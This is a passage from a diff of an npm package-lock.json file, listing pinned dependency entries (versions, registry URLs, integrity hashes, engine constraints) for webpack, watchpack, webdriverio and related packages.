"node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "dev": true, + "optional": true, + "dependencies": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/nan": { + "version": "2.14.1", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.14.1.tgz", + "integrity": "sha512-isWHgVjnFjh2x2yuJ/tj3JbwoHu3UC2dX5G/88Cm24yB6YopVgxvBObDY7n5xW6ExmFhJpSEQqFPvq9zaXc8Jw==", + "dev": true, + "optional": true + }, + "node_modules/watchpack-chokidar2/node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack-chokidar2/node_modules/readdirp": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz", + "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==", + "dev": true, + "optional": true, + "dependencies": { + "graceful-fs": "^4.1.11", + "micromatch": "^3.1.10", + "readable-stream": "^2.0.2" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/watchpack-chokidar2/node_modules/upath": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz", + "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==", + "dev": true, + "optional": true, + "engines": { + "node": ">=4", + "yarn": "*" + } + }, + "node_modules/watchpack/node_modules/anymatch": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz", + "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", + "dev": true, + "dependencies": { + "micromatch": "^3.1.4", + "normalize-path": "^2.1.1" + } + }, + "node_modules/watchpack/node_modules/arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/braces": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", + "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", + "dev": true, + "dependencies": { + "arr-flatten": "^1.1.0", + "array-unique": "^0.3.2", + "extend-shallow": "^2.0.1", + "fill-range": "^4.0.0", + "isobject": "^3.0.1", + "repeat-element": "^1.1.2", + "snapdragon": "^0.8.1", + "snapdragon-node": "^2.0.1", + "split-string": "^3.0.2", + "to-regex": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/braces/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/chokidar": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.0.4.tgz", + "integrity": "sha512-z9n7yt9rOvIJrMhvDtDictKrkFHeihkNl6uWMmZlmL6tJtX9Cs+87oK+teBx+JIgzvbX3yZHT3eF8vpbDxHJXQ==", + "deprecated": "Chokidar 2 does not receive security updates since 2019. Upgrade to chokidar 3 with 15x fewer dependencies", + "dev": true, + "dependencies": { + "anymatch": "^2.0.0", + "async-each": "^1.0.0", + "braces": "^2.3.0", + "glob-parent": "^3.1.0", + "inherits": "^2.0.1", + "is-binary-path": "^1.0.0", + "is-glob": "^4.0.0", + "lodash.debounce": "^4.0.8", + "normalize-path": "^2.1.1", + "path-is-absolute": "^1.0.0", + "readdirp": "^2.0.0", + "upath": "^1.0.5" + }, + "optionalDependencies": { + "fsevents": "^1.2.2" + } + }, + "node_modules/watchpack/node_modules/expand-brackets": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", + "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", + "dev": true, + "dependencies": { + "debug": "^2.3.3", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "posix-character-classes": "^0.1.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/expand-brackets/node_modules/define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dev": true, + "dependencies": { + "is-descriptor": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/expand-brackets/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/expand-brackets/node_modules/is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", + "dev": true, + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/expand-brackets/node_modules/is-accessor-descriptor/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/expand-brackets/node_modules/is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", + "dev": true, + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/expand-brackets/node_modules/is-data-descriptor/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/expand-brackets/node_modules/is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "dev": true, + "dependencies": { + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/expand-brackets/node_modules/kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/extglob": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", + "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", + "dev": true, + "dependencies": { + "array-unique": "^0.3.2", + "define-property": "^1.0.0", + "expand-brackets": "^2.1.4", + "extend-shallow": "^2.0.1", + "fragment-cache": "^0.2.1", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/extglob/node_modules/define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "dev": true, + "dependencies": { + "is-descriptor": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/extglob/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/fill-range": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", + "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", + "dev": true, + "dependencies": { + "extend-shallow": "^2.0.1", + "is-number": "^3.0.0", + "repeat-string": "^1.6.1", + "to-regex-range": "^2.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/fill-range/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/glob-parent": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz", + "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", + "dev": true, + "dependencies": { + "is-glob": "^3.1.0", + "path-dirname": "^1.0.0" + } + }, + "node_modules/watchpack/node_modules/glob-parent/node_modules/is-glob": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", + "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", + "dev": true, + "dependencies": { + "is-extglob": "^2.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "dependencies": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/is-glob": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.0.tgz", + "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=", + "dev": true, + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "dev": true, + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/is-number/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/watchpack/node_modules/micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "dev": true, + "dependencies": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/wcwidth": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/wcwidth/-/wcwidth-1.0.1.tgz", + "integrity": "sha512-XHPEwS0q6TaxcvG85+8EYkbiCux2XtWG2mkc47Ng2A77BQu9+DqIOJldST4HgPkuea7dvKSj5VgX3P1d4rW8Tg==", + "peer": true, + "dependencies": { + "defaults": "^1.0.3" + } + }, + "node_modules/webdriver": { + "version": "5.23.0", + "resolved": "https://registry.npmjs.org/webdriver/-/webdriver-5.23.0.tgz", + "integrity": "sha512-r7IrbZ2SuTIRyWV8mv4a4hZoFcT9Qt4MznOkdRWPE1sPpZ8lyLZsIEjKCEbHelOzPwURqk+biwGrm4z2OZRAiw==", + "dev": true, + "dependencies": { + "@types/request": "^2.48.4", + "@wdio/config": "5.22.4", + "@wdio/logger": "5.16.10", + "@wdio/protocols": "5.22.1", + "@wdio/utils": "5.23.0", + "lodash.merge": "^4.6.1", + "request": "^2.83.0" + }, + "engines": { + "node": ">= 8.11.0" + } + }, + "node_modules/webdriverio": { + "version": "5.23.0", + "resolved": "https://registry.npmjs.org/webdriverio/-/webdriverio-5.23.0.tgz", + "integrity": "sha512-hxt6Nuu2bBrTsVk7GfoFRTh63l4fRVXlK9U30RtPbHoWO5tcFdyUz2UTgeHEZ54ea1DQEVPfsgFiLnJULkWp1Q==", + "dev": true, + "dependencies": { + "@wdio/config": "5.22.4", + "@wdio/logger": "5.16.10", + "@wdio/repl": "5.23.0", + "@wdio/utils": "5.23.0", + "archiver": "^3.0.0", + "css-value": "^0.0.1", + "grapheme-splitter": "^1.0.2", + "lodash.clonedeep": "^4.5.0", + "lodash.isobject": "^3.0.2", + "lodash.isplainobject": "^4.0.6", + "lodash.zip": "^4.2.0", + "resq": "^1.6.0", + "rgb2hex": "^0.1.0", + "serialize-error": "^5.0.0", + "webdriver": "5.23.0" + }, + "engines": { + "node": ">= 8.11.0" + } + }, + "node_modules/webdriverio/node_modules/serialize-error": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/serialize-error/-/serialize-error-5.0.0.tgz", + "integrity": "sha512-/VtpuyzYf82mHYTtI4QKtwHa79vAdU5OQpNPAmE/0UDdlGT0ZxHwC+J6gXkw29wwoVI8fMPsfcVHOwXtUQYYQA==", + "dev": true, + "dependencies": { + "type-fest": "^0.8.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/webdriverio/node_modules/type-fest": { + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz", + "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/webidl-conversions": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-5.0.0.tgz", + "integrity": "sha512-VlZwKPCkYKxQgeSbH5EyngOmRp7Ww7I9rQLERETtf5ofd9pGeswWiOtogpEO850jziPRarreGxn5QIiTqpb2wA==", + "engines": { + "node": ">=8" + } + }, + "node_modules/webpack": { + "version": "3.12.0", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-3.12.0.tgz", + "integrity": "sha512-Sw7MdIIOv/nkzPzee4o0EdvCuPmxT98+vVpIvwtcwcF1Q4SDSNp92vwcKc4REe7NItH9f1S4ra9FuQ7yuYZ8bQ==", + "dev": true, + "dependencies": { + "acorn": "^5.0.0", + "acorn-dynamic-import": "^2.0.0", + "ajv": "^6.1.0", + "ajv-keywords": "^3.1.0", + "async": "^2.1.2", + "enhanced-resolve": "^3.4.0", + "escope": "^3.6.0", + "interpret": "^1.0.0", + "json-loader": "^0.5.4", + "json5": "^0.5.1", + "loader-runner": "^2.3.0", + "loader-utils": "^1.1.0", + "memory-fs": "~0.4.1", + "mkdirp": "~0.5.0", + "node-libs-browser": "^2.0.0", + "source-map": "^0.5.3", + "supports-color": "^4.2.1", + "tapable": "^0.2.7", + "uglifyjs-webpack-plugin": "^0.4.6", + "watchpack": "^1.4.0", + "webpack-sources": "^1.0.1", + "yargs": "^8.0.2" + }, + "bin": { + "webpack": "bin/webpack.js" + }, + "engines": { + "node": ">=4.3.0 <5.0.0 || >=5.10" + } + }, + "node_modules/webpack-sources": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.1.0.tgz", + "integrity": "sha512-aqYp18kPphgoO5c/+NaUvEeACtZjMESmDChuD3NBciVpah3XpMEU9VAAtIaB1BsfJWWTSdv8Vv1m3T0aRk2dUw==", + "dev": true, + "dependencies": { + "source-list-map": "^2.0.0", + "source-map": "~0.6.1" + } + }, + "node_modules/webpack-sources/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/webpack/node_modules/acorn": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.1.tgz", + "integrity": "sha512-d+nbxBUGKg7Arpsvbnlq61mc12ek3EY8EQldM3GPAhWJ1UVxC6TDGbIvUMNU6obBX3i1+ptCIzV4vq0gFPEGVQ==", + "dev": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/webpack/node_modules/acorn-dynamic-import": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/acorn-dynamic-import/-/acorn-dynamic-import-2.0.2.tgz", + "integrity": "sha1-x1K9IQvvZ5UBtsbLf8hPj0cVjMQ=", + "dev": true, + "dependencies": { + "acorn": "^4.0.3" + } + }, + "node_modules/webpack/node_modules/acorn-dynamic-import/node_modules/acorn": { + "version": "4.0.13", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-4.0.13.tgz", + "integrity": "sha1-EFSVrlNh1pe9GVyCUZLhrX8lN4c=", + "dev": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/webpack/node_modules/ajv": { + "version": "6.5.2", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.5.2.tgz", + "integrity": "sha512-hOs7GfvI6tUI1LfZddH82ky6mOMyTuY0mk7kE2pWpmhhUSkumzaTO5vbVwij39MdwPQWCV4Zv57Eo06NtL/GVA==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^2.0.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.1" + } + }, + "node_modules/webpack/node_modules/ajv-keywords": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.2.0.tgz", + "integrity": "sha1-6GuBnGAs+IIa1jdBNpjx3sAhhHo=", + "dev": true, + "peerDependencies": { + "ajv": "^6.0.0" + } + }, + "node_modules/webpack/node_modules/ansi-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", + "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/webpack/node_modules/async": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.1.tgz", + "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", + "dev": true, + "dependencies": { + "lodash": "^4.17.10" + } + }, + "node_modules/webpack/node_modules/camelcase": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-1.2.1.tgz", + "integrity": "sha1-m7UwTS4LVmmLLHWLCKPqqdqlijk=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/webpack/node_modules/cliui": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-2.1.0.tgz", + "integrity": "sha1-S0dXYP+AJkx2LDoXGQMukcf+oNE=", + "dev": true, + "dependencies": { + "center-align": "^0.1.1", + "right-align": "^0.1.1", + "wordwrap": "0.0.2" + } + }, + "node_modules/webpack/node_modules/enhanced-resolve": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-3.4.1.tgz", + "integrity": "sha1-BCHjOf1xQZs9oT0Smzl5BAIwR24=", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.2", + "memory-fs": "^0.4.0", + "object-assign": "^4.0.1", + "tapable": "^0.2.7" + }, + "engines": { + "node": ">=4.3.0 <5.0.0 || >=5.10" + } + }, + "node_modules/webpack/node_modules/fast-deep-equal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", + "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=", + "dev": true + }, + "node_modules/webpack/node_modules/find-up": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz", + "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", + "dev": true, + "dependencies": { + "locate-path": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/webpack/node_modules/has-flag": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-2.0.0.tgz", + "integrity": "sha1-6CB68cx7MNRGzHC3NLXovhj4jVE=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/webpack/node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true + }, + "node_modules/webpack/node_modules/load-json-file": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-2.0.0.tgz", + "integrity": "sha1-eUfkIUmvgNaWy/eXvKq8/h/inKg=", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.2", + "parse-json": "^2.2.0", + "pify": "^2.0.0", + "strip-bom": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/webpack/node_modules/os-locale": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-2.1.0.tgz", + "integrity": "sha512-3sslG3zJbEYcaC4YVAvDorjGxc7tv6KVATnLPZONiljsUncvihe9BQoVCEs0RZ1kmf4Hk9OBqlZfJZWI4GanKA==", + "dev": true, + "dependencies": { + "execa": "^0.7.0", + "lcid": "^1.0.0", + "mem": "^1.1.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/webpack/node_modules/path-type": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-2.0.0.tgz", + "integrity": "sha1-8BLMuEFbcJb8LaoQVMPXI4lZTHM=", + "dev": true, + "dependencies": { + "pify": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/webpack/node_modules/read-pkg": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-2.0.0.tgz", + "integrity": "sha1-jvHAYjxqbbDcZxPEv6xGMysjaPg=", + "dev": true, + "dependencies": { + "load-json-file": "^2.0.0", + "normalize-package-data": "^2.3.2", + "path-type": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/webpack/node_modules/read-pkg-up": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-2.0.0.tgz", + "integrity": "sha1-a3KoBImE4MQeeVEP1en6mbO1Sb4=", + "dev": true, + "dependencies": { + "find-up": "^2.0.0", + "read-pkg": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/webpack/node_modules/string-width": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", + "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", + "dev": true, + "dependencies": { + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^4.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/webpack/node_modules/string-width/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/webpack/node_modules/string-width/node_modules/strip-ansi": { + "version": 